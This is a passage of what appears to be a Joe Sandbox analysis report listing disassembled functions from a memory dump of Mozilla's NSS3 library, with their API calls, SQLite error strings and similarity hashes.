Function 6C6DAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6DAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C6DAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C6DAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C7F9500), ref: 6C6DAF23

Part of subcall function 6C72F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C72F0C8
Part of subcall function 6C72F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DAF37

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 9c20fe3527102cf085974f63d99b5f597f6f68b038d226328bc510a77dae77c0
Instruction ID: 72e0203207fc9303720f20efa2cf6700c68c31b1459af46ef710395c8c594e1b
Opcode Fuzzy Hash: 9c20fe3527102cf085974f63d99b5f597f6f68b038d226328bc510a77dae77c0
Instruction Fuzzy Hash: BA214CB190D2009BEB108E289D45B9A77E4AF8572CF154318FC589B7D2E731E50987AB

Function 6C75EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75EE85
realloc.MOZGLUE(05D3D763,?), ref: 6C75EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C75EEC5

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

htonl.WSOCK32(?), ref: 6C75EEE3
htonl.WSOCK32(00000000,?), ref: 6C75EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C75EF01

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: ac81ee1bb1eceb86c7f0654aa33980a1167a1d08ff7ac3630397b3d4b2b493f7
Instruction ID: 4c22b683fc74a2fc8e7300f3dba54fc49846c57b9d074e2b2444d079244f02d7
Opcode Fuzzy Hash: ac81ee1bb1eceb86c7f0654aa33980a1167a1d08ff7ac3630397b3d4b2b493f7
Instruction Fuzzy Hash: 1921E771A002189FEF109F28DE8875A77A8EF49358F548139EC099B641D734EC24C7E2

Function 6C70EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C70EE49

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C70EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C70EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C70EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C70EEB3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 8e59bbe0cec17046f4c51a4ec32c6fbf4c6cf23964a126e24445e79b565b2e31
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2C21C0B7A002286BEB118A28DC85EAB77ADAB4A70CF044164FE089B341E771DC15C7F1

Function 6C6D7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6D7F68

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C6D7F7B

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D7FA7

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7F919C,?), ref: 6C6D7FBB

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6D7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C7F915C,00000014), ref: 6C6D7FFE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 1eeb65cb1926d8282420011045e5fee7efdd087de1cf76fa78c2e541dc3aabc0
Instruction ID: c9ffa71c6f06b20021634d4965e6a883bca59d838737bce303922abc7f759518
Opcode Fuzzy Hash: 1eeb65cb1926d8282420011045e5fee7efdd087de1cf76fa78c2e541dc3aabc0
Instruction Fuzzy Hash: 5511E761D0021457E7209A259E88FBB76A8DF5565CF01062DEC69D6B41F720B548C2AB

Function 6C6DBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C75DC29,?), ref: 6C6DBE64

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C75DC29,?), ref: 6C6DBE78

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C75DC29,?), ref: 6C6DBE96

Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C75DC29,?), ref: 6C6DBEBB

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C75DC29,?), ref: 6C6DBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C75DC29,?), ref: 6C6DBEF3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: e700c346ae440b4232354455009283cc1d095aaa9e98b9328c80c37d949f991c
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: BB11BB71E002165BEB008B65AD49FAE3768DF85399F154028ED08DB745E731E909C7A5

Function 6C763C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B40: PR_GetIdentitiesLayer.NSS3 ref: 6C765B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C763D3F

Part of subcall function 6C6DBA90: PORT_NewArena_Util.NSS3(00000800,6C763CAF,?), ref: 6C6DBABF
Part of subcall function 6C6DBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C763CAF,?), ref: 6C6DBAD5
Part of subcall function 6C6DBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C763CAF,?), ref: 6C6DBB08
Part of subcall function 6C6DBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C763CAF,?), ref: 6C6DBB1A
Part of subcall function 6C6DBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C763CAF,?), ref: 6C6DBB3B

PR_EnterMonitor.NSS3(?), ref: 6C763CCB

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

PR_EnterMonitor.NSS3(?), ref: 6C763CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C763CF8
PR_ExitMonitor.NSS3(?), ref: 6C763D15
PR_ExitMonitor.NSS3(?), ref: 6C763D2E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 2242c74d14d5d9278c4b7af8827c60596a7f92a2accb59ceb344d0aa1a0981f3
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: DD11E6756106006FF7205A6AFD46B9BB3E4AB11348F504534E81E87F22E732E81DC652

Function 6C72FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C72FE08

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C72FE1D

Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C72FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C72FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C72FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C72FE6F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 8a9863b85440a098f63f1e756485909a7c70a0a931246c9b6fd64a6cb2ea7b13
Instruction ID: 0e7cf52d99c44b4a142afd92322639e34fae966de37b80e226986069215838c7
Opcode Fuzzy Hash: 8a9863b85440a098f63f1e756485909a7c70a0a931246c9b6fd64a6cb2ea7b13
Instruction Fuzzy Hash: 87114CB6E002156BEB014F54ED48E6B739CAF14399F108038E81C87B13E735D914C791

Function 6C7DFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C7DFD9E

Part of subcall function 6C799BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6C1A48), ref: 6C799BB3
Part of subcall function 6C799BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6C1A48), ref: 6C799BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C7DFDB9

Part of subcall function 6C6BA900: TlsGetValue.KERNEL32(00000000,?,6C8314E4,?,6C654DD9), ref: 6C6BA90F
Part of subcall function 6C6BA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6BA94F

PR_Unlock.NSS3 ref: 6C7DFDD4
PR_Lock.NSS3 ref: 6C7DFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C7DFE0D
PR_Unlock.NSS3 ref: 6C7DFE23

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: f120efdd40fbeb21ab4d4254bf6c773e580886599782cc20a8fc6c5714446a32
Instruction ID: cc9d3aa3ae79356d1b481da7edb4e64c8820aa5cd381d1cb0fbda9d7e2ac0f9a
Opcode Fuzzy Hash: f120efdd40fbeb21ab4d4254bf6c773e580886599782cc20a8fc6c5714446a32
Instruction Fuzzy Hash: 0501E1B6A00241AFDF254F55FE048427732BB1272CB1547B4E82A47BE2E722ED28C7C1

Function 6C6BAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6BAFDA

Strings

misuse, xrefs: 6C6BAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6BAFC4
%s at line %d of [%.10s], xrefs: 6C6BAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C6BAF5C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c001f62c8d0f369abc8cf1918826f7c4d5ffae27fac2c66df410277953c632da
Instruction ID: 592e2fc6f6ae9dc6e81828bbcdfdc46b432ce2254854258f601e18c8be0721fd
Opcode Fuzzy Hash: c001f62c8d0f369abc8cf1918826f7c4d5ffae27fac2c66df410277953c632da
Instruction Fuzzy Hash: 7291E271B002158FDB14CF59C890AEAB7F1BF85314F1945A8E865BB752C334AD12CBA8

Function 6C71FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C71FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C71FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C71FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C71FDDE

Part of subcall function 6C728800: TlsGetValue.KERNEL32(?,6C73085A,00000000,?,6C6D8369,?), ref: 6C728821
Part of subcall function 6C728800: TlsGetValue.KERNEL32(?,?,6C73085A,00000000,?,6C6D8369,?), ref: 6C72883D
Part of subcall function 6C728800: EnterCriticalSection.KERNEL32(?,?,?,6C73085A,00000000,?,6C6D8369,?), ref: 6C728856
Part of subcall function 6C728800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C728887
Part of subcall function 6C728800: PR_Unlock.NSS3(?,?,?,?,6C73085A,00000000,?,6C6D8369,?), ref: 6C728899

Strings

pkcs11:, xrefs: 6C71FC4F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 67457004dc02a36f14af816560484e785248c3fd7fedebd223f4cd2d80bd3627
Instruction ID: 1e7224adb2f3701d137e163ac614800b82985af7fb0c263c25a5b0b022b9ac59
Opcode Fuzzy Hash: 67457004dc02a36f14af816560484e785248c3fd7fedebd223f4cd2d80bd3627
Instruction Fuzzy Hash: BC51F0B2A281119BEB108F659F4ABAA3365EF4135CF1D0035DD496BF42EB35E904CBD2

Function 6C65BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C65BE02

Part of subcall function 6C789C40: memcmp.VCRUNTIME140(?,00000000,6C65C52B), ref: 6C789D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65BE89
database corruption, xrefs: 6C65BE93
%s at line %d of [%.10s], xrefs: 6C65BE98

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: d4db6380077acf207859922be5bf4cf32205408a396281a004425f0869851a49
Instruction ID: d060ec53ee47f587c6aaec155a9425dd7012549993f19b10f3ab662a09cd384f
Opcode Fuzzy Hash: d4db6380077acf207859922be5bf4cf32205408a396281a004425f0869851a49
Instruction Fuzzy Hash: B9314731B046568BC300CF29CC98AABBBA1AF81394BAC8554EE441BB41D370EC26C3D4

Function 6C746DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C746E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C746E57

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C746E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C746EAA

Strings

n~l, xrefs: 6C746DF9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
